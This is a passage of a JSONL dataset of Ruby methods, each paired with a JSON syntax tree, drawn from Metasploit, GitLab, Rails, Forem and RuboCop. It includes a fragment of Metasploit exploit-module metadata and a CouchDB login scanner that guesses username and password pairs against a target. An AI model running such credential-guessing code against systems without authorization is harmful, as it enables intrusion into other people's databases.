"const\",\"children\":[null,\"CRASH_OS_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"COMPILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Compile on target\"]},{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"str\",\"children\":[\"True\"]},{\"type\":\"str\",\"children\":[\"False\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A directory where we can write files\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]}]}]}]}]}","id":"e2fa2064-7450-4669-9a37-a22a5429476c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/acunetix.rb","start_line":13,"raw_source":"def import_acunetix_xml(args={}, &block)\n    bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []\n    wspace = Msf::Util::DBManager.process_opts_workspace(args, framework).name\n    if Rex::Parser.nokogiri_loaded\n      parser = \"Nokogiri v#{::Nokogiri::VERSION}\"\n      noko_args = args.dup\n      noko_args[:blacklist] = bl\n      noko_args[:workspace] = wspace\n      if block\n        yield(:parser, parser)\n        import_acunetix_noko_stream(noko_args) {|type, data| yield type,data}\n      else\n        import_acunetix_noko_stream(noko_args)\n      end\n      return true\n    else # Sorry\n      raise Msf::DBImportError.new(\"Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.\")\n    end\n  end","complexity_score":30.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import_acunetix_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bl\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_ips\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blacklist\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blacklist\"]}]},\"split\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"nokogiri_loaded\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Nokogiri v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Nokogiri\"]},\"VERSION\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"noko_args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noko_args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"blacklist\"]},{\"type\":\"lvar\",\"children\":[\"bl\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noko_args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"parser\"]},{\"type\":\"lvar\",\"children\":[\"parser\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_acunetix_noko_stream\",{\"type\":\"lvar\",\"children\":[\"noko_args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"import_acunetix_noko_stream\",{\"type\":\"lvar\",\"children\":[\"noko_args\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBImportError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.\"]}]}]}]}]}]}","id":"f0df0e3a-b259-4fd1-8dfc-45ae9271135d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/couchdb/couchdb_login.rb","start_line":56,"raw_source":"def run_host(_ip)\n    user = datastore['HttpUsername'].to_s\n    pass = datastore['HttpPassword'].to_s\n\n    if user.nil? || user.strip == ''\n      each_user_pass do |u, p|\n        do_login(u, p)\n      end\n      return\n    end\n\n    vprint_status(\"#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'\")\n\n    uri = target_uri.path\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(uri, '_users/_all_docs'),\n      'method' => 'GET',\n      'authorization' => basic_auth(user, pass)\n    })\n\n    return if res.nil?\n    return if res.headers['Server'].nil? || res.headers['Server'] !~ /CouchDB/\n    return if res.code == 404\n\n    if [200, 301, 302].include?(res.code)\n      vprint_good(\"#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'\")\n    end\n  rescue ::Rex::ConnectionError\n    vprint_error(\"'#{rhost}':'#{rport}' - Failed to connect to the web server\")\n  end","complexity_score":64.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ip\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"strip\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_user_pass\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]},{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"lvar\",\"children\":[\"u\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Trying to login with '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' : '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"_users/_all_docs\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CouchDB\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[301]},{\"type\":\"int\",\"children\":[302]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Successful login with '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' : '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\"':'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\"' - Failed to connect to the web server\"]}]}]}]},null]}]}","id":"9ad2447c-f7cd-424e-a744-e6d33d324cec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/merge_request/batch_comments_spec.rb","start_line":270,"raw_source":"def visit_diffs\n    visit diffs_project_merge_request_path(merge_request.project, merge_request)\n\n    wait_for_requests\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_diffs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"diffs_project_merge_request_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"5c8be8cb-a209-4473-846e-3c7a2e69d1c2"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/app/helpers/action_text/content_helper.rb","start_line":19,"raw_source":"def sanitize_content_attachment(content_attachment)\n      sanitizer.sanitize(\n        content_attachment,\n        tags: sanitizer_allowed_tags,\n        attributes: sanitizer_allowed_attributes,\n        scrubber: scrubber,\n      )\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_content_attachment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_attachment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sanitizer\"]},\"sanitize\",{\"type\":\"lvar\",\"children\":[\"content_attachment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[null,\"sanitizer_allowed_tags\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"send\",\"children\":[null,\"sanitizer_allowed_attributes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scrubber\"]},{\"type\":\"send\",\"children\":[null,\"scrubber\"]}]}]}]}]}","id":"a63eb560-8092-48e7-9cbf-f6f05c64eb36"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200910205316_remove_active_from_profile_fields2.rb","start_line":8,"raw_source":"def down\n    return if column_exists?(:profile_fields, :active)\n\n    add_column :profile_fields, :active, :boolean\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_exists?\",{\"type\":\"sym\",\"children\":[\"profile_fields\"]},{\"type\":\"sym\",\"children\":[\"active\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"profile_fields\"]},{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]}]}]}]}","id":"034d2ece-83f8-4f3f-ae1c-e04cb2616a55"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/comment_test.rb","start_line":126,"raw_source":"def test_schema_dump_with_comments\n      # Do all the stuff from other tests\n      @connection.add_column    :commenteds, :rating, :integer, comment: \"I am running out of imagination\"\n      @connection.change_column :commenteds, :content, :string, comment: \"Whoa, content describes itself!\"\n      @connection.change_column :commenteds, :content, :string\n      @connection.change_column :commenteds, :obvious, :string, comment: nil\n      @connection.add_index     :commenteds, :obvious, name: \"idx_obvious\", comment: \"We need to see obvious comments\"\n\n      # And check that these changes are reflected in dump\n      output = dump_table_schema \"commenteds\"\n      assert_match %r[create_table \"commenteds\",.*\\s+comment: \"A table with comment\"], output\n      assert_match %r[t\\.string\\s+\"name\",\\s+comment: \"Comment should help clarify the column purpose\"], output\n      assert_match %r[t\\.string\\s+\"obvious\"\\n], output\n      assert_match %r[t\\.string\\s+\"content\",\\s+comment: \"Whoa, content describes itself!\"], output\n      assert_match %r[t\\.integer\\s+\"rating\",\\s+comment: \"I am running out of imagination\"], output\n      assert_match %r[t\\.index\\s+.+\\s+comment: \"\\\\\"Very important\\\\\" index that powers all the performance.\\\\nAnd it's fun!\"], output\n      assert_match %r[t\\.index\\s+.+\\s+name: \"idx_obvious\",\\s+comment: \"We need to see obvious comments\"], output\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_with_comments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_column\",{\"type\":\"sym\",\"children\":[\"commenteds\"]},{\"type\":\"sym\",\"children\":[\"rating\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"str\",\"children\":[\"I am running out of imagination\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"change_column\",{\"type\":\"sym\",\"children\":[\"commenteds\"]},{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"str\",\"children\":[\"Whoa, content describes itself!\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"change_column\",{\"type\":\"sym\",\"children\":[\"commenteds\"]},{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"change_column\",{\"type\":\"sym\",\"children\":[\"commenteds\"]},{\"type\":\"sym\",\"children\":[\"obvious\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"commenteds\"]},{\"type\":\"sym\",\"children\":[\"obvious\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_obvious\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"str\",\"children\":[\"We need to see obvious comments\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"commenteds\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"commenteds\\\",.*\\\\s+comment: \\\"A table with comment\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"name\\\",\\\\s+comment: \\\"Comment should help clarify the column purpose\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"obvious\\\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string\\\\s+\\\"content\\\",\\\\s+comment: \\\"Whoa, content describes itself!\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.integer\\\\s+\\\"rating\\\",\\\\s+comment: \\\"I am running out of imagination\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.index\\\\s+.+\\\\s+comment: \\\"\\\\\\\\\\\"Very important\\\\\\\\\\\" index that powers all the performance.\\\\\\\\nAnd it's fun!\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.index\\\\s+.+\\\\s+name: \\\"idx_obvious\\\",\\\\s+comment: \\\"We need to see obvious comments\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"bb317d6c-3530-4e13-926d-a885ef25947d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/metrics/block_length.rb","start_line":64,"raw_source":"def method_receiver_excluded?(node)\n          node_receiver = node.receiver&.source&.gsub(/\\s+/, '')\n          node_method = String(node.method_name)\n\n          allowed_methods.any? do |config|\n            next unless config.is_a?(String)\n\n            receiver, method = config.split('.')\n\n            unless method\n              method = receiver\n              receiver = node_receiver\n            end\n\n            method == node_method && receiver == node_receiver\n          end\n        end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"method_receiver_excluded?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node_receiver\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"source\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"node_method\",{\"type\":\"send\",\"children\":[null,\"String\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_methods\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"receiver\"]},{\"type\":\"lvasgn\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"lvar\",\"children\":[\"receiver\"]}]},{\"type\":\"lvasgn\",\"children\":[\"receiver\",{\"type\":\"lvar\",\"children\":[\"node_receiver\"]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"node_method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"node_receiver\"]}]}]}]}]}]}]}","id":"6c8adfcd-6853-4e8e-9298-0eeff2d71434"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/snippets/notes_controller_spec.rb","start_line":152,"raw_source":"def request\n          post :create, params: request_params\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"request_params\"]}]}]}]}]}","id":"3da2c840-e96a-4a16-9c9d-dd1b63b4a727"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/users_controller.rb","start_line":123,"raw_source":"def full_delete\n    set_current_tab(\"account\")\n    if @user.email?\n      Users::DeleteWorker.perform_async(@user.id)\n      sign_out @user\n      flash[:global_notice] = I18n.t(\"users_controller.deletion_scheduled\")\n      redirect_to new_user_registration_path\n    else\n      flash[:settings_notice] = I18n.t(\"users_controller.provide_email_delete\")\n      redirect_to user_settings_path(\"account\")\n    end\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"full_delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_current_tab\",{\"type\":\"str\",\"children\":[\"account\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"email?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"DeleteWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"sign_out\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"global_notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"users_controller.deletion_scheduled\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_user_registration_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"settings_notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"users_controller.provide_email_delete\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"user_settings_path\",{\"type\":\"str\",\"children\":[\"account\"]}]}]}]}]}]}]}","id":"678eb5a6-743b-4d57-bf4f-6bfbaa9e4bd7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb","start_line":99,"raw_source":"def check_version\n            if @current_version != @version.value\n              @map.clear\n              @current_version = @version.value\n            end\n          